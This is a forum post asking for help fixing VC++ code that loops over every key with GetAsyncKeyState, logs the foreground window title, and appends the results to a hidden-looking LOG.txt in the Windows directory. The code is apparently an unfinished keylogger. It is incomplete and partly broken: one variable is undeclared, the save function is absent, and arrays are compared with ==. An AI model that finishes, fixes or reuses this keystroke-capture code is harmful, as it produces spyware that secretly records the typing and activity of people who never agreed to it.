VC++: writting in txt file (trouble in loop).

[FLASHCODER]

Hi, I'm wanting insert text in a txt file, but I'm having troubles. When I execute the program txt is create and simply his begin flood infinitely with stranges characters.

Here is the code make in VC++ 2008:

#include <windows.h>
#pragma comment(lib, "user32")

using namespace System::IO;

void actwnd()
{

String^ path;
static wchar_t  lastwindow[MAX_PATH];
wchar_t  currentwindow[MAX_PATH];
HWND mainwindow;

path = String::Concat(L"C:","\\WINDOWS\\","LOG.txt");
mainwindow = GetForegroundWindow();
GetWindowText(mainwindow,currentwindow,sizeof(currentwindow));

if(lastwindow==currentwindow)
		{
		}

		else
		if(wcscmp(lastwindow,currentwindow)!=0)
		{  
      
		wcscpy (lastwindow,currentwindow);
		String^ strNew = gcnew String(currentwindow);

		File::AppendAllText(path, strNew);

		}
		
}


void Control()
{

   while(true)
   {

    for(i=0; i<=255; i++)
    {
		if(GetAsyncKeyState(i) == -32767)

         actwnd(); // <= here is error

        save(i);

	}
  }
}

What could be wrong?

Thanks in advance.